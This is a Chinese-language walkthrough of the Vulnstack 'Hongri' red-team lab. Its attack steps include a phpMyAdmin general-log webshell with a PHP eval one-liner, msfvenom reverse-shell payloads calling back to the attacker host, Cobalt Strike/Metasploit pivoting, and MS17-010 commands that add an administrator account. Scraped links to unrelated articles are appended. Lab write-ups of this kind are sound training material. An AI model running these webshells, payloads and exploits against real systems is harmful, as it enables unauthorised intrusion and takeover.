ATT&CK实战系列——红队实战(一)红日靶场1

2023-11-19

靶场搭建

靶机下载地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

靶机下载完成后解压,使用vmware打开虚拟机,有三台虚拟机:Win7、Win2003、Win2008

默认密码hongrisec@2019

拓扑图

注意看网络分布。
在这里插入图片描述
(图中ip有变)

配置网络

登录进去之后,首先我们要设置好网络。

  • Win7作为Web服务器需要有一个外网网卡。打开虚拟机设置,点击下面的添加,选择添加网络适配器。现在Win7就有2个网卡了。点击第一个网络适配器,设置成仅主机模式。第二个网络适配器设置成桥接模式,设置桥接模式的时候win7会弹出来一个界面,我们选择公用网络。
  • Win2k3Win2008的网络适配器设置成仅主机模式
  • kali的网络适配器设置成桥接模式

设置虚拟网络配置:点击vmware的编辑–>虚拟网络编辑器,我是设置成这样:
在这里插入图片描述
然后发现仅主机模式的虚拟机执行ipconfig命令显示的不是192.168.10.0的网段,是因为手动分配了地址,我们改成自动分配地址就好了。

打开虚拟机的网络适配器:
在这里插入图片描述
右键属性–>双击IPv4–>选择自动获得IP地址和DNS服务地址。
在这里插入图片描述
这个操作对每个需要用到的网卡都 要做。

然后多试几次ipconfig ,若还是有问题,把网卡禁用再重启。最后互相ping一下保证连通(Win7有防火墙,kali ping不通它)

然后将域内的主机的DNS服务器地址改成Win2008(域控)的ip地址。

主机 密码 IP 描述
Win7 hongrisec@2019 192.168.10.131/192.168.43.141 web服务器
Win2K3 admin@123 192.168.10.129 域成员
Win2008 admin#123 192.168.10.130 域控
kali 192.168.43.19 攻击机

win7开启phpstudy,对外提供web服务。

外网打点web服务器

信息搜集

nmap扫端口服务

nmap扫(开防火墙后ping不了都

namp 192.168.43.141

在这里插入图片描述
80端口开放。

dirsearch目录扫描

dirsearch -u http://192.168.43.141/ -e * --timeout=2 -t 1 -x 400,403,404,500,503,429

在这里插入图片描述
发现phpmyadmin,测试弱密码root/root,成功进入。

phpmyadmin日志getshell

通过

select @@basedir

查找绝对路径.

尝试用into outfile写马,但是失败。

SHOW GLOBAL VARIABLES LIKE '%secure%'
#查看数据库是否有导入权限,看能否直接导入木马
#secure_file_priv是NULL没有权限

尝试利用日志get shell

phpMyAdmin 渗透利用总结 - 腾讯云开发者社区-腾讯云 (tencent.com)

(1) 开启日志记录:

set global general_log = "ON";

(2) 查看当前的日志目录:

show variables like 'general%';

(3) 指定日志文件

set global general_log_file = "C:/phpStudy/WWW/404.php";

(4) 写入执行代码:

select "<?php phpinfo();@eval($_POST['cmd']);?>";

把下面代码放到查询框执行即可:

set global general_log = "ON";
show variables like 'general%';
set global general_log_file = "C:/phpStudy/WWW/404.php";
select "<?php phpinfo();@eval($_POST['cmd']);?>";#一次没成功就把这句再执行

然后用菜刀连接
在这里插入图片描述
直接就是administrator

然后要让它上线msf和cs

yxcms

后台getshell

用菜刀连接后,发现目录里还存在另外一个网站yxcms

通过观察发现网站公告有后台地址与账号密码:
在这里插入图片描述
登录后台后,点击前台模板–>新建,写一个后门文件。

浏览器搜索yxcms的模板文件路径,然后访问我们的后门文件从而getshell。

http://192.168.43.141/yxcms/protected/apps/default/view/default/shell.php

xss

在留言本留言xss,然后在后台查看,发现弹窗:
在这里插入图片描述

关闭win7防火墙

netsh advfirewall set allprofiles state off

上线msf&cs

上线msf

利用msfvenom创建一个后门程序:

msfvenom -p windows/meterperter_reverse_tcp LHOST=192.168.43.19 LPORT=12345 -f exe -o 12345.exe

利用菜刀上传到Win7上。

然后msf开启监听

use exploit/multi/handler
set payload windows/x64/meterpreter_reverse_tcp
set lhost 192.168.43.19
set lport 12345
run

利用菜刀的虚拟终端运行我们的后门程序。
在这里插入图片描述
然后就成功上线msf了
在这里插入图片描述
可以getsystem提权

getsystem

在这里插入图片描述

上线cs

在kali启动服务端

./teamserver 192.168.43.19 12345

在这里插入图片描述
然后生成CS后门
在这里插入图片描述
后门通过菜刀上传,然后执行,接着就会在CS上线了。

msf传cs

background
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set disablepayloadhandler true
set lhost 192.168.43.19
set lport 8888		#这里的ip端口要和CS的监听ip端口一样
set session 3
run

在这里插入图片描述

在win10的CS上观察,发现成功上线CS。

cs传msf

在CS上建立新的foreign监听:
在这里插入图片描述

在msf配置session,端口一致

use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 192.168.43.19
set lport 7777
run

之后在CS上新建会话,选用新建的foreign监听:
在这里插入图片描述
最后观察到联动成功
在这里插入图片描述

开代理

cs+msf/Proxifer

在CS上建立SOCKS

在这里插入图片描述

可以通过view–>proxy pivots来观察proxy pivots模块。

msf要使用这个代理就选中后点击Tunnel

打开msf,复制下面的进去:

setg Proxies socks4:192.168.43.19:1080

还可以使用Proxifer实现全局代理
在这里插入图片描述

msf+proxychains

run post/multi/manage/autoroute		#新建路由
run autoroute -p					#查看路由信息

挂起会话,建立socks:

background
use auxiliary/server/socks_proxy
set version 4a
set srvhost 127.0.0.1
run

使用

jobs

查看状态
在这里插入图片描述

修改proxychain文件

vim /etc/proxychains.conf
###
最后一行改成
socks4 127.0.0.1 1080 

然后在使用的工具前面加上proxychains就可以了,比如:

proxychains4 nmap -Pn -sT 192.168.10.129

内网信息搜集

基本信息搜集

systeminfo
net view
run post/windows/gather/enum_applications	#安装的软件信息

存活主机

使用msf内置模块进行存活主机探测

auxiliary/scanner/discovery/udp_sweep    #基于udp协议发现内网存活主机
auxiliary/scanner/discovery/udp_probe    #基于udp协议发现内网存活主机
auxiliary/scanner/netbios/nbname         #基于netbios协议发现内网存活主机

使用arp_scanner模块

use post/windows/gather/arp_scanner
set rhosts 192.168.10.0/24
set session 0		#这里填background后的sessionid
run

在这里插入图片描述

或者直接用命令

arp -a

端口扫描

内网主机端口扫描:

proxychains nmap -Pn -sT 192.168.10.129

基于tcp进行端口扫描(默认扫描1-10000)

auxiliary/scanner/portscan/tcp         

服务探测

内网主机服务探测

auxiliary/scanner/ftp/ftp_version            #发现内网ftp服务,基于默认21端口
auxiliary/scanner/ssh/ssh_version            #发现内网ssh服务,基于默认22端口
auxiliary/scanner/telnet/telnet_version      #发现内网telnet服务,基于默认23端口
auxiliary/scanner/dns/dns_amp                #发现dns服务,基于默认53端口
auxiliary/scanner/http/http_version          #发现内网http服务,基于默认80端口
auxiliary/scanner/http/title                 #探测内网http服务的标题
auxiliary/scanner/smb/smb_version            #发现内网smb服务,基于默认的445端口   
auxiliary/scanner/mssql/mssql_schemadump     #发现内网SQLServer服务,基于默认的1433端口
auxiliary/scanner/oracle/oracle_hashdump     #发现内网oracle服务,基于默认的1521端口 
auxiliary/scanner/mysql/mysql_version        #发现内网mysql服务,基于默认3306端口
auxiliary/scanner/rdp/rdp_scanner            #发现内网RDP服务,基于默认3389端口
auxiliary/scanner/redis/redis_server         #发现内网Redis服务,基于默认6379端口
auxiliary/scanner/db2/db2_version            #探测内网的db2服务,基于默认的50000端口
auxiliary/scanner/netbios/nbname             #探测内网主机的netbios名字

nmap的vuln漏洞扫描

之前通过基本信息搜集发现win7有nmap

找到nmap路径,利用菜刀的虚拟终端执行:

nmap --script=vuln 192.168.10.129

在这里插入图片描述
在这里插入图片描述

发现192.168.10.129(win2k3)可能有ms17_010\ms08_067漏洞

扫一下192.168.10.130(win8k)

nmap --script=vuln 192.168.10.130

在这里插入图片描述

可能有ms17_010漏洞。

ms17_010扫描

use auxiliary/scanner/smb/smb_ms17_010
set rhosts 192.168.10.129
run

在这里插入图片描述

说明192.168.10.129(win2k3)有这个漏洞

再扫下192.168.10.130(win2008)
在这里插入图片描述

发现确实是有的

内网攻击

ms08_068

nmap扫出来192.168.10.129(win2k3)可能有ms08_067漏洞。所以我们试试。

use exploit/windows/smb/ms08_067_netapi
set rhosts 192.168.10.129
run

不稳定,没打成功。

ms17_010

use auxiliary/admin/smb/ms17_010_command
set command net user
set rhosts 192.168.10.129
run

运行成功

尝试添加用户

set command net user ja1e428 ja1e@428 /add	
#这里的密码要满足复杂度不然会报错

再次set command net userrun执行,发现成功。

然后把添加的用户加入管理员组:

set command net localgroup administrators ja1e428 /add

在这里插入图片描述

成功

利用23端口telnet服务上传漏洞,首先通过ms17_010开启23端口与telnet服务

set command sc config tlntsvr start= auto
run
set COMMAND net start telnet
run

查看是否成功打开23端口

set command netstat -an
run

进行telnet连接

use auxiliary/scanner/telnet/telnet_login
set rhosts 192.168.10.129
set username ja1e428
set password ja1e@428
run
sessions	#可以看到shell

尝试利用telnet,失败了。

但是可以利用proxychains工具连接成功(要开启msf的socks反向代理哦

proxychains telnet 192.168.10.129
ja1e428
ja1e@428

成功拿下192.168.10.129这台域成员主机。

利用ms17_010测试一下win2008,也是成功的。这两台域内主机都可以用ms17_010拿下。

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

ATT&CK实战系列——红队实战(一)红日靶场1 的相关文章

  • 有没有比使用 backtrace() 更便宜的方法来查找调用堆栈的深度?

    我的日志记录代码使用的返回值回溯 http linux die net man 3 backtrace确定当前堆栈深度 出于漂亮的打印目的 但我可以从分析中看到这是一个相当昂贵的调用 我不认为有更便宜的方法吗 请注意 我不关心帧地址 只关心
  • __libc_start_main 发生了什么?

    我真的很想理解从高级代码到可执行文件的步骤 但是遇到了一些困难 我写了一个空的int main C 文件并尝试通过以下方式破译反汇编objdump d 这是发生的事情 in start 设置对齐方式 将参数压入堆栈 调用 libc star
  • 从 bash 脚本返回值

    我想创建一个返回值的 Bash 文件 意思是 在脚本 script a bash 中我有一定的计算 脚本 script b bash 会调用它 script a bash return 1 5 script b bash a value s
  • 使用正在运行的进程的共享内存收集核心转储

    核心转储仅收集进程空间 而不收集为进程间通信创建的共享内存 如何使核心转储也包含正在运行的进程的共享内存 设置核心文件过滤器 proc PID coredump filter per http man7 org linux man page
  • 如何检测文本文件中大于 n 的一系列“空洞”(孔、与模式不匹配的线)?

    Case scenario cat Status txt 1 connected 2 connected 3 connected 4 connected 5 connected 6 connected 7 disconnected 8 di
  • 安全地记住 bash 脚本中的 ssh 凭据[重复]

    这个问题在这里已经有答案了 假设我有一个 bash 脚本 它通过 ssh 在远程计算机上执行命令 Do something here ssh otheruser host command1 Do something else ssh oth
  • 套接字发送并发保证

    如果我在两个进程 或两个线程 之间共享一个套接字 并且在这两个进程中我尝试发送一条阻塞的大消息 大于下划线协议缓冲区 是否可以保证这两个消息将按顺序发送 或者消息可以在内核内部交错吗 我主要对 TCP over IP 行为感兴趣 但了解它是
  • 每当调用 malloc/free 时输出到 stderr

    使用 Linux GCC C 每当调用 malloc free new delete 时 我想向 stderr 记录一些内容 我试图了解库的内存分配 因此我想在运行单元测试时生成此输出 我使用 valgrind 进行内存泄漏检测 但我找不到
  • Linux 的 gcc __attribute__((selectany)) 替代方案?

    我想知道是否有替代方案 attribute selectany 在Linux中 我想定义这样的东西 char a qwe zxc 并将其包含在许多链接在一起的 c 文件中 因此链接器将看到 a 的多个定义 因此不会链接 我读过这个属性 se
  • 使用无效命令进行 fork 会导致 valgrind 中的内存泄漏

    我有以下代码 它在分叉内执行无效命令 以下代码在 valgrind 中返回内存泄漏 include
  • 模拟用户输入以使用不同参数多次调用脚本

    我必须使用提供的脚本 该脚本在脚本运行时接受用户输入而不是参数 我无法解决这个问题 脚本的一个例子是 bin bash echo param one read one doSomething echo param two read two
  • 从命名管道读取

    我必须实现一个 打印服务器 我有 1 个客户端文件和 1 个服务器文件 include
  • 页面错误陷阱的成本

    我有一个应用程序 它定期 每 1 或 2 秒后 通过分叉自身来获取检查点 因此 检查点是原始进程的一个分支 它一直保持空闲状态 直到原始进程发生某些错误时被要求启动 现在我的问题是fork的写时复制机制的成本有多大 每当原始进程写入内存页面
  • 使用 gatttool 或 bluepy BLE 订阅通知

    我正在使用 bluepy 编写一个程序 用于监听蓝牙设备发送的特征 我还可以使用任何库或语言 唯一的限制是在 Linux 上运行 而不是在移动环境中运行 似乎仅在移动设备中广泛使用 没有人在桌面上使用 BLE 使用 bluepy 我注册了委
  • Linux:通过网络进行屏幕桌面视频捕获和 VNC 帧速率

    抱歉 文字墙很长 TL DR VNC 连接的帧速率是多少 以帧 秒为单位 或者更确切地说 由谁决定 客户端还是服务器 对于桌面屏幕捕获的任何其他建议 但 正确的时间编码 具有不抖动的帧速率 具有稳定的周期 并有可能将其作为未压缩 或无损 图
  • 当我通过 shell 脚本创建 .txt 文件时,为什么文件名末尾出现问号? [复制]

    这个问题在这里已经有答案了 我正在编写一个 shell 脚本 我应该在其中创建 1 个文本文件 当我这样做时 文件名末尾出现一个问号 是什么原因 我正在 bash 脚本中尝试以下方法 1 grep ERROR a1 gt text txt
  • 是否有我可以运行的操作系统命令来确定是否在基于 Xen 的虚拟机内运行

    我可以在基于 Xen 的虚拟机中运行一个操作系统命令来告诉我它是一个虚拟机而不是物理机 我听说内核对此有一些自我意识智能 例如就像 ps 输出中的额外列之类的 我知道 vmstat 提供了 st 列 但我在运行 Linux 内核 2 6 1
  • Linux下的C#,Process.Start()异常“没有这样的文件或目录”

    我在使用 Process 类调用程序来启动程序时遇到问题 可执行文件的层次结构位于 bin 目录下 而当前工作目录需要位于 lib 目录下 project bin a out this is what I need to call lib
  • 有关 Linux 内存类型的问题

    关于Linux内存我有以下问题 我知道活动内存是最常访问的内存部分 但是有人可以解释一下 linux 如何考虑将内存位置用于活动内存或非活动内存 主动存储器由哪些部分组成 磁盘 文件缓存是否被视为活动内存的一部分 有什么区别Buffers
  • 跟踪 pthread 调度

    我想做的是创建某种图表 详细说明 Linux 中 两个 线程的执行情况 我不需要查看线程的作用 只需查看它们何时被安排以及持续多长时间 基本上是一条时间线 在过去的几个小时里 我一直在互联网上搜索跟踪 pthread 调度的方法 不幸的是

随机推荐

  • C#实现遍历文件夹获取指定后缀名文件

    问题描述 项目需要 要进行某文件夹下所有shp数据的读取 解决方法 using System using System Collections Generic using System ComponentModel using System
  • Python机器学习/数据挖掘项目实战 波士顿房价预测 回归分析

    Python机器学习 数据挖掘项目实战 波士顿房价预测 回归分析 此数据源于美国某经济学杂志上 分析研究波士顿房价 Boston HousePrice 的数据集 在这个项目中 你将利用马萨诸塞州波士顿郊区的房屋信息数据训练和测试一个模型 并
  • Qt之一个类成员函数调用另一个类成员的方法

    原文 https blog csdn net qq 35721743 article details 83592415 在继承之外 在C 中一个类成员函数调用另一个类成员的方法主要有 类的组合 友元类 类的前向声明 单例模式等 下面主要讲讲
  • gym 101512 BAPC 2014 I Interesting Integers

    Problem codeforces com gym 101512 attachments vjudge net contest 186506 problem I Meaning 给出一个 正整数 n 要找尽量小的 a 和 b a lt b
  • 面向对象三大特性之一——多态详解

    目录 前言 一 多态的概念 二 多态的定义及实现 1 虚函数的概念 2 虚函数的重写 2 1概念 2 2虚函数重写的两个例外 3 多态的构成条件 4 c 11 override和final 4 1 final 4 2 override 5
  • Java(五)-Java集合(comparable,map,list

    集合 Collection集合 集合的概念 ArrayList就是一个集合 集合是Java提供的一种容器 可以用来存储多个数据 集合与数组的区别 1 数组的长度是固定的 集合的长度是可变的 2 数组中存储的是同一类型的元素 可以存储基本数据
  • C++ 和 C 使用的不同点(待定)

    1 结构体 C 中定义的结构体 不起别名的情况下使用时要添加 struct C 可以不用添加 struct 直接使用定义的结构体名称 struct Student int age char name C 不报错 C报错 Student Ge
  • JDK的监听 Spring的事件监听机制

    一 概述 使用场景 用户注册完成时 需要给该用户发送邮件 发送优惠劵等等操作 实现业务的解耦 MQ的异步 销峰 解耦 大体步骤 1 UserService 在完成自身的用户注册逻辑之后 仅仅只需要发布一个 UserRegisterEvent
  • 归一化与反归一化在Bi-LSTM多特征时序预测中应用(附实操代码)

    提示 文章写完后 目录可以自动生成 如何生成可参考右边的帮助文档 目录 前言 一 Bi LSTM 是什么 二 为什么要归一化和反归一化 1 归一化的好处 2 反归一化的好处 三 归一化和反归一化使用的公式 1 归一化 2 反归一化 四 实操
  • 使用Pandas处理Excel文件

    Excel工作表是非常本能和用户友好的 这使得它们非常适合操作大型数据集 即使是技术人员也不例外 如果您正在寻找学习使用Python在Excel文件中操作和自动化内容的地方 请不要再找了 你来对地方了 在本文中 您将学习如何使用Pandas
  • forkjoin及其性能分析,是否比for循环快?

    最近看了网上的某公开课 其中有讲到forkjoin框架 在这之前 我丝毫没听说过这个东西 很好奇是什么东东 于是 就顺道研究了一番 总感觉这个东西 用的地方很少 也有可能是我才疏学浅 好吧 反正问了身边一堆猿 没有一个知道的 因此 我也没有
  • 怎么把树莓派连接到电脑上(基于window10)

    我相信对于刚玩树莓派的新手来说 尤其是没有带显示屏的同学来说 四处碰壁 可能出现的原因有很多种 ssh登录不上 wifi连接不上 内存不足 很多问题 而对于更多新手来说 如何给树莓派连接网络更是关键 今天我给大家讲一下如何用树莓派连接电脑
  • Real-time Linux

    所谓实时操作系统 Real time Opearting System 是指当外接世界或数据产生时 能够接受并以足够快的速度予以处理 其处理的结果又能在规定的时间之内来控制生产过程或对处理系统做出快速响应 调度一切可利用的资源完成实时任务
  • 数据链路层:Ethernet以太网协议

    首先Ethernet IEEE802 3 PPP和HDLC都是数据链路层的协议 只不过后面三个不常用而已 Ethernet和IEEE802 3属于以太链路层协议 数据链路层最常用的协议是Etnernet以太网协议 定义 Ethernet以太
  • 常用的加密算法

    整理一下常用的加密算法 加密算法我们整体可以分为 可逆加密和不可逆加密 可逆加密又可以分为 对称加密和非对称加密 一 不可逆加密 常见的不可逆加密算法有MD5 HMAC SHA1 SHA 224 SHA 256 SHA 384 和SHA 5
  • Flask(一)

    Flask 0 Flask简介 Flask是一个基于Python开发并且依赖jinja2模板和Werkzeug WSGI服务的一个微型框架 对于Werkzeug本质是Socket服务端 其用于接收http请求并对请求进行预处理 然后触发Fl
  • 设计模式——导论

    作为软件开发人员 我们在平时工作的过程中 往往需要编写很多的代码来实现我们的需求 很多的时候会造成代码臃肿和代码冗余的情况 这个时候我们需要引入一个理念 设计模式 设计模式存在的意义在于 1 使得我们的代码更加精炼 2 使我们代码的可读性更
  • 面试求职经历及遇到的部分问题

    转眼间已经工作一年多了 最近想换个工作环境 就选择了跳槽 跳槽对我们程序猿来说并没什么稀奇 但这是我第一次跳槽 也颇感激动 哈哈 总的来说 这次找工作还是相对去年来说比较容易的 毕竟已经工作一年了嘛 记得去年的时候投20份简历也不一定会有面
  • 开发者本地搭建性能监测工具(Windows)

    ElasticSearch 8 9 0 开发模式安装 JDK安装 官方提供版本与JDK支持关系 https www elastic co cn support matrix matrix jvm 我们安装Elasticsearch 8 9
  • ATT&CK实战系列——红队实战(一)红日靶场1

    目录 靶场搭建 拓扑图 配置网络 外网打点web服务器 信息搜集 nmap扫端口服务 dirsearch目录扫描 phpmyadmin日志getshell yxcms 后台getshell xss 关闭win7防火墙 上线msf cs 上线